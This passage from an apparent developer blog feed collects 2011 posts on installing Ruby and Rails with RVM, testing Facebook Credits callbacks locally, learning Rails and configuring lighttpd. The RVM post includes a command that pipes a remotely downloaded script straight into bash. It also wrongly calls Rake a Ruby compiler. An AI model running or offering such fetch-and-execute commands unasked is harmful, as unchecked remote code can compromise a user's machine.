need the &lt;code&gt;jpg&lt;/code&gt; covers, torrent &lt;code&gt;txt&lt;/code&gt; files, auto-generated &lt;code&gt;m3u&lt;/code&gt; files and other
&lt;code&gt;thumbs.db&lt;/code&gt; and &lt;code&gt;.DS_Store&lt;/code&gt; useless files.&lt;/p&gt;
&lt;p&gt;Here, &lt;code&gt;find&lt;/code&gt; to the rescue with some &lt;code&gt;zsh&lt;/code&gt; scripting, and here we go.&lt;/p&gt;
&lt;h2&gt;Shared config files&lt;/h2&gt;
&lt;p&gt;As I&#39;m working on several computers (two laptops and the one at work at least),
I found myself spending time reconfiguring stuff multiple times.&lt;/p&gt;
&lt;p&gt;Here, thanks to Dropbox and some clever &lt;code&gt;ln -s&lt;/code&gt; calls, I managed to replicate
the same config on the 3 machines easily.&lt;/p&gt;
&lt;p&gt;From my freelance time, I also have a pretty big &lt;code&gt;/etc/hosts&lt;/code&gt; and
&lt;code&gt;~/.ssh/config&lt;/code&gt; file. At work, I have another one for the work servers. But I
sometimes had to connect to the work server from home.&lt;/p&gt;
&lt;p&gt;So once again, thanks to Dropbox, some &lt;code&gt;ln -s&lt;/code&gt; once more and &lt;code&gt;cat&lt;/code&gt; I wrote two
functions to regenerate those two files based on config files. That way,
whenever I change one of those files, it is updated on the other machines too.&lt;/p&gt;
&lt;p&gt;That was it. It took most of my day.&lt;/p&gt;
&lt;p&gt;Being able to script those little repetitive tedious task is something I really
appreciate on Linux. I am no longer dependent on the UI my OS gave me, and can
now really understand how things work. It requires some time to learn, but this
is not going to drastically change from one version to another like it does on
each Windows new release.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #6-#7: Correctly installing Ruby on Rails</title>
    <link href="https://blog.pixelastic.com/2011/07/20/working-wednesday-6-7-correctly-installing-ruby-rails/"/>
    <updated>2011-07-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/07/20/working-wednesday-6-7-correctly-installing-ruby-rails</id>
    <content type="html">&lt;p&gt;&lt;em&gt;This post spans two weeks because I couldn&#39;t manage to have a clean Ruby/Rails
install on my first try. I read a lot, installed ruby using various methods, but
finally managed to get it to work corretly.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Cleaning up&lt;/h2&gt;
&lt;p&gt;First of all, you have to remove any ruby version you might have already
installed, just to be sure.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; remove&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ruby&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; autoremove&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Installing RVM&lt;/h2&gt;
&lt;p&gt;Then, you have to install RVM before installing Ruby. My biggest mistake in my
various shots at installing Ruby was to install RVM last.&lt;/p&gt;
&lt;p&gt;RVM is a very important part of the whole Ruby process. This is a little piece
of genius that allow you to create Ruby sandboxes. You can install various Ruby
versions side by side, even various gem versions and you simply tell RVM which
sandbox you want to use.&lt;/p&gt;
&lt;p&gt;If you are absolutly positive that you will never ever work on more than one
Ruby project in your entire life, you can skip installing RVM and simply install
Ruby globally on your system. But you know that this will never happen, so,
avoid future troubles and install RVM first.&lt;/p&gt;
&lt;p&gt;To install RVM, simply execute the following command&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;bash&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &amp;#x3C;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -s&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; https://rvm.beginrescueend.com/install/rvm)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will download and execute the install script. Once it&#39;s finished, edit your
&lt;code&gt;.bashrc&lt;/code&gt; or &lt;code&gt;.zshrc&lt;/code&gt; to include the rvm config file whenever a shell is
launched.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $HOME&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/.rvm/scripts/rvm &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;source&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $HOME&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/.rvm/scripts/rvm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just to sure to have the latest version, I also ran&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; head&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; reload&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Updating your system&lt;/h2&gt;
&lt;p&gt;RVM depends on some binaries to work, so be sure to install them all. They are
listed when running &lt;code&gt;rvm notes&lt;/code&gt;, but as the time of writing this was the list
for me:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; build-essential&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bison&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; openssl&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libreadline6&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libreadline6-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; curl&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; git-core&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; zlib1g&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; zlib1g-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libssl-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libyaml-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libsqlite3-0&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libsqlite3-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; sqlite3&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libxml2-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libxslt-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; autoconf&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libc6-dev&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ncurses-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Installing Ruby&lt;/h2&gt;
&lt;p&gt;Once RVM is installed, installing the latest (1.9.2 as the time of writing) Ruby
version is as easy as:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1.9.2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will take some time, downloading and compiling Ruby. Next, tell RVM that
this is the version we are gonna use.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; use&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1.9.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can always switch back to your system-wide ruby install by doing&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; use&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; system&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Creating a gemset&lt;/h2&gt;
&lt;p&gt;Plugins in Ruby world are named gems. They can easily be installed/uninstalled
to a project to provide advanced features. Rails itself is a gem.&lt;/p&gt;
&lt;p&gt;The traditional way of using gem is to simpy using the RubyGem command &lt;code&gt;gem.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;When using RVM and its sandboxed mode however, the best way is to create a
gemset, and install gems in that gemset. This will allow us in the future to
switch between multiple gemset easily.&lt;/p&gt;
&lt;p&gt;I suggest creating a gemset for each project you start. You can also install
gems in the global gemset so they get available to each project. As I&#39;m new to
the Ruby world and still don&#39;t really know which gems ar &amp;quot;must-have&amp;quot;, I&#39;ll skip
this part for now.&lt;/p&gt;
&lt;p&gt;Let&#39;s create a new gemset for our new project. I&#39;ll name mine &lt;code&gt;pixelastic&lt;/code&gt;, but
change the name to fit your project name&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; gemset&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; create&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pixelastic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; gemset&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; use&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; pixelastic &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&#39;ll be now using the gemset &lt;code&gt;pixelastic&lt;/code&gt;. You can list all available gems in
your current gemset by doing&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;gem&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; list&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or list all the available gemsets by doing:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; gemset&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; list&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The one you are currently using will be prefixed by &lt;code&gt;=&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;What is Rake?&lt;/h2&gt;
&lt;p&gt;You might have noticed that your new gemset contains only one gem, named Rake.
You do not need too spend to much time on that. You simply have to know that
Rake is more or less the Ruby compiler. Your Ruby code will go through this gem
to became a running app.&lt;/p&gt;
&lt;h2&gt;Installing Rails&lt;/h2&gt;
&lt;p&gt;As I said above, Rails is a gem like many other, so you can simply install it by
doing:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;gem&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rails&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that because we are using RVM, the gem will only be installed in this
gemset and not globally. If you switch gemset, rails will no longer be
available.&lt;/p&gt;
&lt;p&gt;If we weren&#39;t using RVM, the gem would have been installed globally. RVM is
actually wrapping itself around the &lt;code&gt;gem&lt;/code&gt; command to sandbox it inside its own
gemset.&lt;/p&gt;
&lt;h2&gt;Handling dependencies with Bundler&lt;/h2&gt;
&lt;p&gt;Installing Rails will install a bunch of other gems. One of them is Bundler.&lt;/p&gt;
&lt;p&gt;Bundler is a Rails specific gem dependencies handler. Its features seems to
overlap thoses of RVM. At the time of writing, I haven&#39;t yet used it, but its
main use still seems to be its gemfile.&lt;/p&gt;
&lt;p&gt;The goal of a gemfile (located in your project directory) is to list all the
gems your project will need (along with respective versions if provided). Then,
whenever you drop your project in a new environment, Bundler will be able to
download and install your gems for you.&lt;/p&gt;
&lt;p&gt;If said environment uses RVM, then the gems will be saved in the gemset, if not
they will be installed globally. Bundler is absolutly not linked to RVM and can
be used independently.&lt;/p&gt;
&lt;p&gt;The syntax of a gem file will not be discussed here as I have no previous
experience with them, but the command to read the gemfile and update the project
accordingly is:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;bundle&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Automatic switching gemset&lt;/h2&gt;
&lt;p&gt;One nice bit of RVM is that it is able to automatically detect the gemset to use
on a per project basis. You simply have to create a .rvmrc file in a project,
and RVM will execute it.&lt;/p&gt;
&lt;p&gt;For example, to use my &lt;code&gt;pixelastic&lt;/code&gt; gemset and Ruby 1.9.2, simply add the
following to your &lt;code&gt;.rvmrc&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rvm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; use&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 1.9.2@pixelastic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p&gt;I read a lot on the subject, to finally get it right. Here are the various
sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://marcgrabanski.com/articles/gem-management-with-rvm-and-bundler&quot;&gt;Mark Grabanski&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.railway.at/2010/02/13/avoiding-rails-3-dependency-hell-with-rvm/&quot;&gt;Railway.at&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://guides.rubyonrails.org/getting_started.html&quot;&gt;The official Get Started guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/4604064/ruby-gems-bundler-and-rvm-confusion&quot;&gt;A Stack Overflow question about RVM, Gems and Bundler&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Update: Sqlite3&lt;/h2&gt;
&lt;p&gt;If you got error complaining about Sqlite3 missing, just&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; apt-get&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libsqlite3-0&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; libsqlite3-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Testing Facebook Credits in a local environment</title>
    <link href="https://blog.pixelastic.com/2011/07/15/testing-facebook-credits-local-environment/"/>
    <updated>2011-07-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/07/15/testing-facebook-credits-local-environment</id>
    <content type="html">&lt;p&gt;Testing Facebook API has always been a pain for me. Their documentation is still
crappy and examples are wrong or/and outdated. Things don&#39;t exactly work the
same way when you&#39;re testing with &amp;quot;Test account&amp;quot; or real accounts.&lt;/p&gt;
&lt;p&gt;One of the things that helped me much was to create a test application and set
its canvas url to a local server. As the iframe call is done through the client,
I can test local code without the need to upload stuff to an online server.&lt;/p&gt;
&lt;p&gt;I could even test Requests and Streams through this method as it&#39;s the
Javascript SDK that does all the AJAX calls. The only tiny issue was with Stream
images as Facebook requests them server-side before displaying them, I had to
put some placeholder images online.&lt;/p&gt;
&lt;p&gt;But today, with the testing of the new Facebook Credits API, new horizon of
pains arised. Facebook will make no less than three calls to one of my server
callback url, but does not make them client-side.&lt;/p&gt;
&lt;p&gt;I still don&#39;t want to upload my code to a debug server just to test this
feature, so I decided to put in place a little IP/port forwarding. Thanks to
tips from my colleague &lt;a href=&quot;http://leo-peltier.fr/&quot;&gt;LĂŠo&lt;/a&gt;, this was done in a matter
of minutes.&lt;/p&gt;
&lt;h2&gt;Setting up the DNS/port forwarding&lt;/h2&gt;
&lt;p&gt;First, we&#39;ll need a url that Facebook will call. I want this url to point to my
local server. So all I had to do was to create a simple DNS redirect at
dyndns.com that point to my local IP.&lt;/p&gt;
&lt;p&gt;Let it be http://customname.dyndns-office.com/&lt;/p&gt;
&lt;p&gt;Paste this url in the &amp;quot;callback url&amp;quot; field of your Facebook Credits config page.&lt;/p&gt;
&lt;p&gt;Then, I&#39;ll assign a fixed internal IP to my computer so that it won&#39;t change on
each reboot. My router can do that just fine, by assigning a fixed internal IP
based on the MAC adress.&lt;/p&gt;
&lt;p&gt;Let it be 192.168.0.51&lt;/p&gt;
&lt;p&gt;Now, we&#39;ll redirect every call on the router through port 80 (http) to that url.
My router admin panel can also do that just fine, in its DHCP configuration.&lt;/p&gt;
&lt;p&gt;Finally, we&#39;ll have to update the server virtualhost config to point all
incoming requests matching &lt;code&gt;customname.dyndns-office.com&lt;/code&gt; to the server files.&lt;/p&gt;
&lt;h2&gt;A side note&lt;/h2&gt;
&lt;p&gt;There is one last little gotcha to be aware of.&lt;/p&gt;
&lt;p&gt;It does not seem to be possible to access one of your network computer from an
external IP (as we just configured) FROM one of your network computer.&lt;/p&gt;
&lt;p&gt;In other words, if you would like to test your config, do not type
&lt;code&gt;http://customname.dyndns-office.com/&lt;/code&gt; in your browser on one of the computers
sharing the same network as 192.168.0.51.&lt;/p&gt;
&lt;p&gt;Instead, use a free wifi connection, a ssh tunnel or curl from an external
server you own.&lt;/p&gt;
&lt;p&gt;In my case, locally testing &lt;code&gt;http://customname.dyndns-office.com/&lt;/code&gt; always
brought me to my router admin panel and did not forward the port correctly.
Doing a &lt;code&gt;curl http://customname.dyndns-office.com/&lt;/code&gt; from one of my online
servers correctly returned what I wanted.&lt;/p&gt;
&lt;h2&gt;Back to Facebook&lt;/h2&gt;
&lt;p&gt;Back to our Facebook example, you still won&#39;t be able to see any outputs from
the calls Facebook is making to your app. Your best bet is to have a logging
system that will write on disk or in the DB so your can track the calls.&lt;/p&gt;
&lt;p&gt;Also note that you have to load the page in the iframe canvas, even for your
tests. You can&#39;t simply load an html page and call &lt;code&gt;FB.ui({method:&amp;quot;pay&amp;quot;})&lt;/code&gt;, this
will result in error 1151. Always load in the whole FB page.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Working on Wednesday #5: Rails documentation and Zombies</title>
    <link href="https://blog.pixelastic.com/2011/07/06/working-wednesday-5-rails-documentation-zombies/"/>
    <updated>2011-07-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/07/06/working-wednesday-5-rails-documentation-zombies</id>
    <content type="html">&lt;p&gt;Today I continue on my Rails for Zombie learning. Actually, I wake up kind of
late (11am), had to deal with noisy neighbors and make some shopping before
being really able to start working. It&#39;s 2pm now, and I just open my browser.&lt;/p&gt;
&lt;h2&gt;Back to Zombies&lt;/h2&gt;
&lt;p&gt;I like the clean syntax Ruby provides. I like being able to pass custom
parameters without having to care about the order. This could be achieved in
cakePHP using array for options, but is much more clean the Ruby way, using
&lt;code&gt;truncate(zombie.graveyard, :length =&amp;gt; 10, :omission =&amp;gt; &#39;&#39;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Also the &lt;code&gt;link_to&lt;/code&gt; and &lt;code&gt;new_{Model}_path&lt;/code&gt;, &lt;code&gt;edit_{Model}_path&lt;/code&gt; are clever and
allow easy access to the link you always use. This force you to logically
organise your app.&lt;/p&gt;
&lt;p&gt;The way Rails controllers pass vars to the view (using &lt;code&gt;@&lt;/code&gt;) is also cleaner than
the cakePHP &lt;code&gt;set&lt;/code&gt; method. I love those little things the language permits.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;before_filter&lt;/code&gt; also seems more powerful than in cake world, being able to
define several of them and restrict them to certain action. Could be extended (I
guess) to an ApplicationController that could check on &lt;code&gt;show&lt;/code&gt;, &lt;code&gt;edit&lt;/code&gt;, etc that
the specified id exists and display an error message if not.&lt;/p&gt;
&lt;p&gt;I didn&#39;t quite get the various &lt;code&gt;respond_as&lt;/code&gt; for JSON and XML. Why should I have
to pass the &lt;code&gt;@tweet&lt;/code&gt; while I don&#39;t have to for the html view?&lt;/p&gt;
&lt;p&gt;Also, the Rails routings system is more appealing to me than its cakePHP
counterpart. I would have loved to have such a nice tutorial for cake when I
learned it. Routing is very well explained in Rails for Zombies.&lt;/p&gt;
&lt;p&gt;After completing the Zombie tutorial, I headed to the famous blog tutorial every
web language should have. Once again, I started reading the doc and a few things
caught my attention as very promising:&lt;/p&gt;
&lt;h2&gt;Command line interface&lt;/h2&gt;
&lt;p&gt;I like the way one can create a new app simply with one command line. Such
feature is also provided by cakePHP but I never managed to make it work the way
I wanted to. That might have been influenced by the fact that I was working on
Windows at that time.&lt;/p&gt;
&lt;h2&gt;Directory structure&lt;/h2&gt;
&lt;p&gt;I also note that a Rail application seems greatly structured: there are spaces
defined for documentation, tests, database migration, dependencies, logs,
deployment scripts and so on.&lt;/p&gt;
&lt;h2&gt;Databases&lt;/h2&gt;
&lt;p&gt;This is great that Rails directly provides two distinct DB configurations:
development and production. I will no longer have to do it myself.&lt;/p&gt;
&lt;p&gt;Rails also uses SQLite3 as the default database for development. As I wasn&#39;t
very familiar with this technology, I made some researchs. Turns out that SQLite
is a very simple DB system, perfectlynsuited for the development period as it
does not require a DB server.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using environment vars in lighttpd config files</title>
    <link href="https://blog.pixelastic.com/2011/07/05/environment-vars-lighttpd-config-files/"/>
    <updated>2011-07-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/07/05/environment-vars-lighttpd-config-files</id>
    <content type="html">&lt;p&gt;Our game is hosted on a farm of servers behind a load balancer. All servers are
identical except for their names (&lt;code&gt;prod-01&lt;/code&gt;, &lt;code&gt;prod-02&lt;/code&gt;, etc) and virtual IP
addresses.&lt;/p&gt;
&lt;p&gt;In PHP, if I try to access &lt;code&gt;$_SERVER[&#39;SERVER_NAME&#39;]&lt;/code&gt;, I only got the domain name
&amp;quot;prod.game.com&amp;quot;. Actually, this was exactly the same var as the
&lt;code&gt;$_SERVER[&#39;HTTP_HOST&#39;]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For logging purposes, I needed to know the name of the server that my script was
currently running on. So I updated my &lt;code&gt;lighttpd.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Lighty has a feature called &lt;code&gt;include_shell&lt;/code&gt; that you can use in its config
files. It will basically run a shell script and add its output to your file.&lt;/p&gt;
&lt;p&gt;So I wrote a simple shell script to define a &lt;code&gt;var.serverName&lt;/code&gt; (this is a custom
value, name it as you want, but keep the &lt;code&gt;var&lt;/code&gt; prefix) and then re-use when
needed.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;var.serverName=&quot;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;uname&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&quot;&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, I included it in my &lt;code&gt;lighttpd.conf&lt;/code&gt; file using
&lt;code&gt;include_shell &amp;quot;/etc/lighttpd/scripts/serverName.sh&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To define the PHP SERVER_NAME value:&lt;/p&gt;
